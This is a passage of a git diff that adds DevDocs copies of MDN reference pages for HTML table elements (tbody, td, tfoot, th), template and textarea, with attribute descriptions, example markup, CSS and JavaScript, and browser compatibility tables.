ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
table1121Yes≤12.114.4184≤12.111.0
align1121Yes≤12.114.4184≤12.111.0
bgcolor1121Yes≤12.114.4184≤12.111.0
border1121Yes≤12.114.4184≤12.111.0
cellpadding1121Yes≤12.114.4184≤12.111.0
cellspacing1121Yes≤12.114.4184≤12.111.0
frame1121Yes≤12.114.4184≤12.111.0
rules1121Yes≤12.114.4184≤12.111.0
summary1121Yes≤12.114.4184≤12.111.0
width1121Yes≤12.114.4184≤12.111.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table +

+
diff --git a/devdocs/html/element%2Ftbody.html b/devdocs/html/element%2Ftbody.html new file mode 100644 index 00000000..555dfb2d --- /dev/null +++ b/devdocs/html/element%2Ftbody.html @@ -0,0 +1,292 @@ +

<tbody>: The Table Body element

The <tbody> HTML element encapsulates a set of table rows (<tr> elements), indicating that they comprise the body of the table (<table>).

+

Try it

+
+

The <tbody> element, along with its related <thead> and <tfoot> elements, provide useful semantic information that can be used when rendering for either screen or printer.

Content categories None.
Permitted content Zero or more <tr> elements.
Tag omission A <tbody> element's start tag can be omitted if the first thing inside the <tbody> element is a <tr> element, and if the element is not immediately preceded by a <tbody>, <thead>, or <tfoot> element whose end tag has been omitted. (It can't be omitted if the element is empty.) A <tbody> element's end tag can be omitted if the <tbody> element is immediately followed by a <tbody> or <tfoot> element, or if there is no more content in the parent element.
Permitted parents Within the required parent <table> element, the <tbody> element can be added after a <caption>, <colgroup>, and a <thead> element.
Implicit ARIA role rowgroup
Permitted ARIA roles Any
DOM interface HTMLTableSectionElement
+
+

Attributes

+

This element includes the global attributes.

+

Deprecated attributes

+
+align +

This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:

  • +left, aligning the content to the left of the cell
  • +center, centering the content in the cell
  • +right, aligning the content to the right of the cell
  • +justify, inserting spaces into the textual content so that the content is justified in the cell
  • +char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes.

If this attribute is not set, the left value is assumed.

As this attribute is deprecated, use the CSS text-align property instead.

Note: The equivalent text-align property for the align="char" is not implemented in any browsers yet. See the text-align's browser compatibility section for the <string> value.

+bgcolor +

The background color of the table. It is a 6-digit hexadecimal RGB code, prefixed by a '#'. One of the predefined color keywords can also be used.

As this attribute is deprecated, use the CSS background-color property instead.

+char +

This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If align is not set to char, this attribute is ignored.

+charoff +

This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.

+valign +

This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:

  • +baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as bottom.
  • +bottom, which will put the text as close to the bottom of the cell as it is possible;
  • +middle, which will center the text in the cell;
  • and top, which will put the text as close to the top of the cell as it is possible.

As this attribute is deprecated, use the CSS vertical-align property instead.

+

Usage notes

+
+

Examples

+

Below are some examples showing the use of the <tbody> element. For more examples of this element, see the examples for <table>.

+

Basic example

+
+

In this relatively simple example, we create a table containing information about a group of students with a <thead> and a <tbody>, with a number of rows in the body.

HTML

The table's HTML is shown here. Note that all the body cells including information about students are contained within a single <tbody> element.

+

html

+
<table>
+  <thead>
+    <tr>
+      <th>Student ID</th>
+      <th>Name</th>
+      <th>Major</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>3741255</td>
+      <td>Jones, Martha</td>
+      <td>Computer Science</td>
+    </tr>
+    <tr>
+      <td>3971244</td>
+      <td>Nim, Victor</td>
+      <td>Russian Literature</td>
+    </tr>
+    <tr>
+      <td>4100332</td>
+      <td>Petrov, Alexandra</td>
+      <td>Astrophysics</td>
+    </tr>
+  </tbody>
+</table>
+
+

CSS

The CSS to style our table is shown next.

+

css

+
table {
+  border: 2px solid #555;
+  border-collapse: collapse;
+  font:
+    16px "Lucida Grande",
+    "Helvetica",
+    "Arial",
+    sans-serif;
+}
+
+

First, the table's overall style attributes are set, configuring the thickness, style, and color of the table's exterior borders and using border-collapse to ensure that the border lines are shared among adjacent cells rather than each having its own borders with space in between. font is used to establish an initial font for the table.

+

css

+
th,
+td {
+  border: 1px solid #bbb;
+  padding: 2px 8px 0;
+  text-align: left;
+}
+
+

Then the style is set for the majority of the cells in the table, including all data cells but also those styles shared between our <td> and <th> cells. The cells are given a light gray outline which is a single pixel thick, padding is adjusted, and all cells are left-aligned using text-align

+

css

+
thead > tr > th {
+  background-color: #cce;
+  font-size: 18px;
+  border-bottom: 2px solid #999;
+}
+
+

Finally, header cells contained within the <thead> element are given additional styling. They use a darker background-color, a larger font size, and a thicker, darker bottom border than the other cell borders.

Result

The resulting table looks like this:

+
+ + +
+
+

Multiple bodies

+
+

You can create row groupings within a table by using multiple <tbody> elements. Each may potentially have its own header row or rows; however, there can be only one <thead> per table! Because of that, you need to use a <tr> filled with <th> elements to create headers within each <tbody>. Let's see how that's done.

Let's take the previous example, add some more students to the list, and update the table so that instead of listing each student's major on every row, the students are grouped by major, with heading rows for each major.

Result

First, the resulting table, so you know what we're building:

+
+ + +

HTML

The revised HTML looks like this:

+

html

+
<table>
+  <thead>
+    <tr>
+      <th>Student ID</th>
+      <th>Name</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th colspan="2">Computer Science</th>
+    </tr>
+    <tr>
+      <td>3741255</td>
+      <td>Jones, Martha</td>
+    </tr>
+    <tr>
+      <td>4077830</td>
+      <td>Pierce, Benjamin</td>
+    </tr>
+    <tr>
+      <td>5151701</td>
+      <td>Kirk, James</td>
+    </tr>
+  </tbody>
+  <tbody>
+    <tr>
+      <th colspan="2">Russian Literature</th>
+    </tr>
+    <tr>
+      <td>3971244</td>
+      <td>Nim, Victor</td>
+    </tr>
+  </tbody>
+  <tbody>
+    <tr>
+      <th colspan="2">Astrophysics</th>
+    </tr>
+    <tr>
+      <td>4100332</td>
+      <td>Petrov, Alexandra</td>
+    </tr>
+    <tr>
+      <td>8892377</td>
+      <td>Toyota, Hiroko</td>
+    </tr>
+  </tbody>
+</table>
+
+

Notice that each major is placed in a separate <tbody> block, the first row of which contains a single <th> element with a colspan attribute that spans the entire width of the table. That heading lists the name of the major contained within the <tbody>.

Then each remaining row in each major's <tbody> consists of two cells: the first for the student's ID and the second for their name.

CSS

Most of the CSS is unchanged. We do, however, add a slightly more subtle style for header cells contained directly within a <tbody> (as opposed to those which reside in a <thead>). This is used for the headers indicating each table section's corresponding major.

+

css

+
tbody > tr > th {
+  background-color: #dde;
+  border-bottom: 1.5px solid #bbb;
+  font-weight: normal;
+}
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-tbody-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
tbody1121Yes≤12.114.4184≤12.111.0
align1121Yes1534.41841421.0
bgcolor1121Yes≤1514.4184≤1411.0
char112NoYes15≤44.418No14≤3.21.0
charoff1121Yes15≤44.418414≤3.21.0
valign1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tbody +

+
diff --git a/devdocs/html/element%2Ftd.html b/devdocs/html/element%2Ftd.html new file mode 100644 index 00000000..6a4ea2e3 --- /dev/null +++ b/devdocs/html/element%2Ftd.html @@ -0,0 +1,274 @@ +

<td>: The Table Data Cell element

The <td> HTML element defines a cell of a table that contains data. It participates in the table model.

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

colspan

This attribute contains a non-negative integer value that indicates for how many columns the cell extends. Its default value is 1. Values higher than 1000 will be considered as incorrect and will be set to the default value (1).

headers

This attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element.

rowspan

This attribute contains a non-negative integer value that indicates for how many rows the cell extends. Its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. Values higher than 65534 are clipped down to 65534.

+
+

Deprecated attributes

+
+abbr +

This attribute contains a short abbreviated description of the cell's content. Some user-agents, such as speech readers, may present this description before the content itself.

Note: Do not use this attribute as it is obsolete in the latest standard. Alternatively, you can put the abbreviated description inside the cell and place the long content in the title attribute.

+align +

This enumerated attribute specifies how the cell content's horizontal alignment will be handled. Possible values are:

  • +left: The content is aligned to the left of the cell.
  • +center: The content is centered in the cell.
  • +right: The content is aligned to the right of the cell.
  • +justify (with text only): The content is stretched out inside the cell so that it covers its entire width.
  • +char (with text only): The content is aligned to a character inside the <th> element with minimal offset. This character is defined by the char and charoff attributes.

The default value when this attribute is not specified is left.

Note:

  • To achieve the same effect as the left, center, right or justify values, apply the CSS text-align property to the element.
  • To achieve the same effect as the char value, give the text-align property the same value you would use for the char.
+axis +

This attribute contains a list of space-separated strings. Each string is the id of a group of cells that this header applies to.

+bgcolor +

This attribute defines the background color of each cell in a column. It is a 6-digit hexadecimal RGB code, prefixed by a '#'. One of the predefined color keywords can also be used.

To achieve a similar effect, use the CSS background-color property.

+char +

The content in the cell element is aligned to a character. Typical values include a period (.) to align numbers or monetary values. If align is not set to char, this attribute is ignored.

+charoff +

This attribute is used to shift column data to the right of the character specified by the char attribute. Its value specifies the length of this shift.

+height +

This attribute is used to define a recommended cell height. Use the CSS height property instead.

+scope +

This enumerated attribute defines the cells that the header (defined in the <th>) element relates to. Only use this attribute with the <th> element to define the row or column for which it is a header.

+valign +

This attribute specifies how a text is vertically aligned inside a cell. Possible values for this attribute are:

  • +baseline: Positions the text near the bottom of the cell and aligns it with the baseline of the characters instead of the bottom. If characters don't descend below the baseline, the baseline value achieves the same effect as bottom.
  • +bottom: Positions the text near the bottom of the cell.
  • +middle: Centers the text in the cell.
  • and top: Positions the text near the top of the cell.

To achieve a similar effect, use the CSS vertical-align property.

+width +

This attribute is used to define a recommended cell width. Use the CSS width property instead.

+

Examples

+

See <table> for examples on <td>.

+

Technical summary

+
Content categories Sectioning root.
Permitted content +Flow content.
Tag omission The start tag is mandatory.
The end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element.
Permitted parents A <tr> element.
Implicit ARIA role cell if a descendant of a <table> element
Permitted ARIA roles Any
DOM interface HTMLTableCellElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-td-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
td1121Yes≤12.114.4184≤12.111.0
abbr1121Yes1514.41841411.0
align1121Yes1534.41841421.0
axis1121Yes1514.41841411.0
bgcolor1121Yes≤1514.4184≤1411.0
char112NoYes15≤44.418No14≤3.21.0
charoff1121Yes15≤44.418414≤3.21.0
colspan1121Yes1514.41841411.0
headers1121Yes1514.41841411.0
rowspan1121Yes1514.41841411.0
scope1121Yes1514.41841411.0
valign1121Yes1534.41841421.0
width1121Yes1514.41841411.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/td +

+
diff --git a/devdocs/html/element%2Ftemplate.html b/devdocs/html/element%2Ftemplate.html new file mode 100644 index 00000000..d851df81 --- /dev/null +++ b/devdocs/html/element%2Ftemplate.html @@ -0,0 +1,179 @@ +

<template>: The Content Template element

+

The <template> HTML element is a mechanism for holding HTML that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using JavaScript.

Think of a template as a content fragment that is being stored for subsequent use in the document. While the parser does process the contents of the <template> element while loading the page, it does so only to ensure that those contents are valid; the element's contents are not rendered, however.

+
+

Attributes

+
+

The only standard attributes that the <template> element supports are the global attributes.

In Chromium-based browsers, the <template> element also supports a non-standard shadowrootmode attribute, as part of an experimental "Declarative Shadow DOM" proposal. In supporting browsers, a <template> element with the shadowrootmode attribute is detected by the HTML parser and immediately applied as the shadow root of its parent element. shadowrootmode can take a value of open or closed; these are equivalent to the open and closed values of the Element.attachShadow() mode option.

Also, the corresponding HTMLTemplateElement interface includes a standard content property (without an equivalent content/markup attribute). This content property is read-only and holds a DocumentFragment that contains the DOM subtree represented by the template. Be careful when using the content property because the returned DocumentFragment can exhibit unexpected behavior. For more details, see the Avoiding DocumentFragment pitfalls section below.

+
+

Examples

+
+

First we start with the HTML portion of the example.

+

html

+
<table id="producttable">
+  <thead>
+    <tr>
+      <td>UPC_Code</td>
+      <td>Product_Name</td>
+    </tr>
+  </thead>
+  <tbody>
+    <!-- existing data could optionally be included here -->
+  </tbody>
+</table>
+
+<template id="productrow">
+  <tr>
+    <td class="record"></td>
+    <td></td>
+  </tr>
+</template>
+
+

First, we have a table into which we will later insert content using JavaScript code. Then comes the template, which describes the structure of an HTML fragment representing a single table row.

Now that the table has been created and the template defined, we use JavaScript to insert rows into the table, with each row being constructed using the template as its basis.

+

js

+
// Test to see if the browser supports the HTML template element by checking
+// for the presence of the template element's content attribute.
+if ("content" in document.createElement("template")) {
+  // Instantiate the table with the existing HTML tbody
+  // and the row with the template
+  const tbody = document.querySelector("tbody");
+  const template = document.querySelector("#productrow");
+
+  // Clone the new row and insert it into the table
+  const clone = template.content.cloneNode(true);
+  let td = clone.querySelectorAll("td");
+  td[0].textContent = "1235646565";
+  td[1].textContent = "Stuff";
+
+  tbody.appendChild(clone);
+
+  // Clone the new row and insert it into the table
+  const clone2 = template.content.cloneNode(true);
+  td = clone2.querySelectorAll("td");
+  td[0].textContent = "0384928528";
+  td[1].textContent = "Acme Kidney Beans 2";
+
+  tbody.appendChild(clone2);
+} else {
+  // Find another way to add the rows to the table because
+  // the HTML template element is not supported.
+}
+
+

The result is the original HTML table, with two new rows appended to it via JavaScript:

+
+ + +
+
+

Avoiding DocumentFragment pitfalls

+
+

When a DocumentFragment value is passed, Node.appendChild and similar methods move only the child nodes of that value into the target node. Therefore, it is usually preferable to attach event handlers to the children of a DocumentFragment, rather than to the DocumentFragment itself.

Consider the following HTML and JavaScript:

+
+

HTML

+
+

html

+
<div id="container"></div>
+
+<template id="template">
+  <div>Click me</div>
+</template>
+
+
+

JavaScript

+
+

js

+
const container = document.getElementById("container");
+const template = document.getElementById("template");
+
+function clickHandler(event) {
+  event.target.append(" — Clicked this div");
+}
+
+const firstClone = template.content.cloneNode(true);
+firstClone.addEventListener("click", clickHandler);
+container.appendChild(firstClone);
+
+const secondClone = template.content.cloneNode(true);
+secondClone.children[0].addEventListener("click", clickHandler);
+container.appendChild(secondClone);
+
+
+

Result

+
+

Since firstClone is a DocumentFragment, only its children are added to container when appendChild is called; the event handlers of firstClone are not copied. In contrast, because an event handler is added to the first child node of secondClone, the event handler is copied when appendChild is called, and clicking on it works as one would expect.

+
+ + +
+
+

Technical summary

+
Content categories Metadata content, flow content, phrasing content, script-supporting element
Permitted content No restrictions
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts metadata content, phrasing content, or script-supporting elements. Also allowed as a child of a <colgroup> element that does not have a span attribute.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLTemplateElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-template-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
template261322No158Yes26221481.5
shadowrootmode11190–11111190–111NoNo9776–9716.411190–11111190–111No6416.422.015.0–22.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template +

+
diff --git a/devdocs/html/element%2Ftextarea.html b/devdocs/html/element%2Ftextarea.html new file mode 100644 index 00000000..9c0e0bf2 --- /dev/null +++ b/devdocs/html/element%2Ftextarea.html @@ -0,0 +1,379 @@ +

<textarea>: The Textarea element

The <textarea> HTML element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a review or feedback form.

+

Try it

+
+

The above example demonstrates a number of features of <textarea>:

The <textarea> element also accepts several attributes common to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required.

+
+

Attributes

+
+

This element includes the global attributes.

autocomplete

This attribute indicates whether the value of the control can be automatically completed by the browser. Possible values are:

  • +off: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.
  • +on: The browser can automatically complete the value based on values that the user has entered during previous uses.

If the autocomplete attribute is not specified on a <textarea> element, then the browser uses the autocomplete attribute value of the <textarea> element's form owner. The form owner is either the <form> element that this <textarea> element is a descendant of or the form element whose id is specified by the form attribute of the input element. For more information, see the autocomplete attribute in <form>.

+autocorrect +

A string which indicates whether to activate automatic spelling correction and processing of text substitutions (if any are configured) while the user is editing this textarea. Permitted values are:

on

Enable automatic spelling correction and text substitutions.

off

Disable automatic spelling correction and text substitutions.

autofocus

This Boolean attribute lets you specify that a form control should have input focus when the page loads. Only one form-associated element in a document can have this attribute specified.

cols

The visible width of the text control, in average character widths. If it is specified, it must be a positive integer. If it is not specified, the default value is 20.

dirname

This attribute is used to indicate the text directionality of the element contents similar to the dirname attribute of the <input> element. For more information, see the dirname attribute.

disabled

This Boolean attribute indicates that the user cannot interact with the control. If this attribute is not specified, the control inherits its setting from the containing element, for example <fieldset>; if there is no containing element when the disabled attribute is set, the control is enabled.

form

The form element that the <textarea> element is associated with (its "form owner"). The value of the attribute must be the id of a form element in the same document. If this attribute is not specified, the <textarea> element must be a descendant of a form element. This attribute enables you to place <textarea> elements anywhere within a document, not just as descendants of form elements.

maxlength

The maximum string length (measured in UTF-16 code units) that the user can enter. If this value isn't specified, the user can enter an unlimited number of characters.

minlength

The minimum string length (measured in UTF-16 code units) required that the user should enter.

name

The name of the control.

placeholder

A hint to the user of what can be entered in the control. Carriage returns or line-feeds within the placeholder text must be treated as line breaks when rendering the hint.

Note: Placeholders should only be used to show an example of the type of data that should be entered into a form; they are not a substitute for a proper <label> element tied to the input. See <input> labels for a full explanation.

readonly

This Boolean attribute indicates that the user cannot modify the value of the control. Unlike the disabled attribute, the readonly attribute does not prevent the user from clicking or selecting in the control. The value of a read-only control is still submitted with the form.

required

This attribute specifies that the user must fill in a value before submitting a form.

rows

The number of visible text lines for the control. If it is specified, it must be a positive integer. If it is not specified, the default value is 2.

spellcheck

Specifies whether the <textarea> is subject to spell checking by the underlying browser/OS. The value can be:

  • +true: Indicates that the element needs to have its spelling and grammar checked.
  • +default : Indicates that the element is to act according to a default behavior, possibly based on the parent element's own spellcheck value.
  • +false : Indicates that the element should not be spell checked.
wrap

Indicates how the control should wrap the value for form submission. Possible values are:

  • +hard: The browser automatically inserts line breaks (CR+LF) so that each line is no longer than the width of the control; the cols attribute must be specified for this to take effect
  • +soft: The browser ensures that all line breaks in the entered value are a CR+LF pair, but no additional line breaks are added to the value.
  • +off : Like soft but changes appearance to white-space: pre so line segments exceeding cols are not wrapped and the <textarea> becomes horizontally scrollable.

If this attribute is not specified, soft is its default value.

+
+

Styling with CSS

+
+

<textarea> is a replaced element — it has intrinsic dimensions, like a raster image. By default, its display value is inline-block. Compared to other form elements it is relatively easy to style, with its box model, fonts, color scheme, etc. being easily manipulable using regular CSS.

Styling HTML forms provides some useful tips on styling <textarea>s.

+
+

Baseline inconsistency

+

The HTML specification doesn't define where the baseline of a <textarea> is, so different browsers set it to different positions. For Gecko, the <textarea> baseline is set on the baseline of the first line of the textarea, on another browser it may be set on the bottom of the <textarea> box. Don't use vertical-align: baseline on it; the behavior is unpredictable.

+

Controlling whether a textarea is resizable

+
+

In most browsers, <textarea>s are resizable — you'll notice the drag handle in the right-hand corner, which can be used to alter the size of the element on the page. This is controlled by the resize CSS property — resizing is enabled by default, but you can explicitly disable it using a resize value of none:

+

css

+
textarea {
+  resize: none;
+}
+
+
+
+

Styling valid and invalid values

+
+

Valid and invalid values of a <textarea> element (e.g. those within, and outside the bounds set by minlength, maxlength, or required) can be highlighted using the :valid and :invalid pseudo-classes. For example, to give your textarea a different border depending on whether it is valid or invalid:

+

css

+
textarea:invalid {
+  border: 2px dashed red;
+}
+
+textarea:valid {
+  border: 2px solid lime;
+}
+
+
+
+

Examples

+ +

Basic example

+
+

The following example shows a very simple textarea, with a set numbers of rows and columns and some default content.

+

html

+
<textarea name="textarea" rows="10" cols="50">Write something here</textarea>
+
+

Result

+
+ + +
+
+

Example using "minlength" and "maxlength"

+
+

This example has a minimum and maximum number of characters — of 10 and 20 respectively. Try it and see.

+

html

+
<textarea name="textarea" rows="5" cols="30" minlength="10" maxlength="20">
+Write something here…
+</textarea>
+
+

Result

+
+ + +

Note that minlength doesn't stop the user from removing characters so that the number entered goes past the minimum, but it does make the value entered into the <textarea> invalid. Also note that even if you have a minlength value set (3, for example), an empty <textarea> is still considered valid unless you also have the required attribute set.

+
+

Example using "placeholder"

+
+

This example has a placeholder set. Notice how it disappears when you start typing into the box.

+

html

+
<textarea
+  name="textarea"
+  rows="5"
+  cols="30"
+  placeholder="Comment text."></textarea>
+
+

Result

+
+ + +

Note: Placeholders should only be used to show an example of the type of data that should be entered into a form; they are not a substitute for a proper <label> element tied to the input. See <input> labels for a full explanation.

+
+

Disabled and readonly

+
+

This example shows two <textarea>s — one of which is disabled, and one of which is readonly. Have a play with both and you'll see the difference in behavior — the disabled element is not selectable in any way (and its value is not submitted), whereas the readonly element is selectable and its contents copyable (and its value is submitted); you just can't edit the contents.

Note: In browsers other than Firefox, such as chrome, the disabled textarea content may be selectable and copyable.

+

html

+
<textarea name="textarea" rows="5" cols="30" disabled>
+I am a disabled textarea.
+</textarea>
+<textarea name="textarea" rows="5" cols="30" readonly>
+I am a read-only textarea.
+</textarea>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, Interactive content, listed, labelable, resettable, and submittable form-associated element.
Permitted content Text
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role textbox
Permitted ARIA roles No role permitted
DOM interface HTMLTextAreaElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-textarea-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
textarea112
1["Before Firefox 6, when a <textarea> was focused, the insertion point was placed at the end of the text by default. Other major browsers place the insertion point at the beginning of the text.", "A default background-image gradient is applied to all <textarea> elements, which can be disabled using background-image: none.", "Before Firefox 89, manipulating the content of <textarea> elements using Document.execCommand() commands requires workarounds (see bug 1220696)."]
Yes≤12.1≤44.418
4["Before Firefox 6, when a <textarea> was focused, the insertion point was placed at the end of the text by default. Other major browsers place the insertion point at the beginning of the text.", "A default background-image gradient is applied to all <textarea> elements, which can be disabled using background-image: none.", "Before Firefox 89, manipulating the content of <textarea> elements using Document.execCommand() commands requires workarounds (see bug 1220696)."]
≤12.1
≤3Unlike other major browsers, a default style of opacity: 0.4 is applied to disabled <textarea> elements.
1.0
autocomplete667959No539.1666659479.39.0
cols1121≤6≤12.1≤44.4184≤12.1≤3.21.0
dirname1779116No≤12.16≤3718116≤12.161.0
disabled1121≤6≤12.1≤44.4184≤12.1≤3.21.0
form1121≤6≤12.1≤44.4184≤12.1≤3.21.0
maxlength412410≤12.15≤37184≤12.151.0
minlength401751No2710.14040512710.34.0
name1121≤6≤12.1≤44.4184≤12.1≤3.21.0
placeholder412410≤12.15≤37184≤12.151.0
readonly1121≤6≤12.1≤44.4184≤12.1≤3.21.0
required412410≤12.15≤37184≤12.151.0
rows1121≤6≤12.1≤44.4184≤12.1≤3.21.0
spellcheck9122Yes155.14.41841451.0
wrap16124≤6≤12.16≤37184≤12.161.0
+

See also

+
+

Other form-related elements:

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea +

+
diff --git a/devdocs/html/element%2Ftfoot.html b/devdocs/html/element%2Ftfoot.html new file mode 100644 index 00000000..689c1b51 --- /dev/null +++ b/devdocs/html/element%2Ftfoot.html @@ -0,0 +1,160 @@ +

<tfoot>: The Table Foot element

The <tfoot> HTML element defines a set of rows summarizing the columns of the table.

+

Try it

+
+

Attributes

+

This element includes the global attributes.

+

Deprecated attributes

+
+

The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only.

+align +

This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:

  • +left, aligning the content to the left of the cell
  • +center, centering the content in the cell
  • +right, aligning the content to the right of the cell
  • +justify, inserting spaces into the textual content so that the content is justified in the cell
  • +char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes.

If this attribute is not set, the left value is assumed.

Note:

  • To achieve the same effect as the left, center, right or justify values, use the CSS text-align property on it.
  • To achieve the same effect as the char value, in CSS, you can use the value of the char as the value of the text-align property.
+bgcolor +

The background color of the table. It is a 6-digit hexadecimal RGB code, prefixed by a '#'. One of the predefined color keywords can also be used.

To achieve a similar effect, use the CSS background-color property.

+char +

This attribute specifies the alignment of the content in a column to a character. Typical values for this include a period (.) when attempting to align numbers or monetary values. If align is not set to char, this attribute is ignored.

+charoff +

This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.

+valign +

This attribute specifies the vertical alignment of the text within each row of cells of the table footer. Possible values for this attribute are:

  • +baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as bottom.
  • +bottom, which will put the text as close to the bottom of the cell as it is possible;
  • +middle, which will center the text in the cell;
  • and top, which will put the text as close to the top of the cell as it is possible.

Note: Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS vertical-align property on it.

+
+

Examples

+

Please see the <table> page for examples on <tfoot>.

+

Technical summary

+
Content categories None.
Permitted content Zero or more <tr> elements.
Tag omission The start tag is mandatory. The end tag may be omitted if there is no more content in the parent <table> element.
Permitted parents A <table> element. The <tfoot> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element. Note that this is the requirement in HTML.
Originally, in HTML4, the opposite was true: the <tfoot> element could not be placed after any <tbody> or <tr> element.
Implicit ARIA role rowgroup
Permitted ARIA roles Any
DOM interface HTMLTableSectionElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-tfoot-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
tfoot1121Yes≤12.114.4184≤12.111.0
align1121Yes1534.41841421.0
bgcolor1121Yes≤1514.4184≤1411.0
char112NoYes15≤44.418No14≤3.21.0
charoff1121Yes15≤44.418414≤3.21.0
valign1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/tfoot +

+
diff --git a/devdocs/html/element%2Fth.html b/devdocs/html/element%2Fth.html new file mode 100644 index 00000000..4ddbde10 --- /dev/null +++ b/devdocs/html/element%2Fth.html @@ -0,0 +1,277 @@ +

<th>: The Table Header element

The <th> HTML element defines a cell as the header of a group of table cells. The exact nature of this group is defined by the scope and headers attributes.

+

Try it

+
+

Attributes

+
+

This element includes the global attributes.

abbr

This attribute contains a short abbreviated description of the cell's content. Some user-agents, such as speech readers, may present this description before the content itself.

colspan

This attribute contains a non-negative integer value that indicates for how many columns the cell extends. Its default value is 1. Values higher than 1000 will be considered as incorrect and will be set to the default value (1).

headers

This attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element.

rowspan

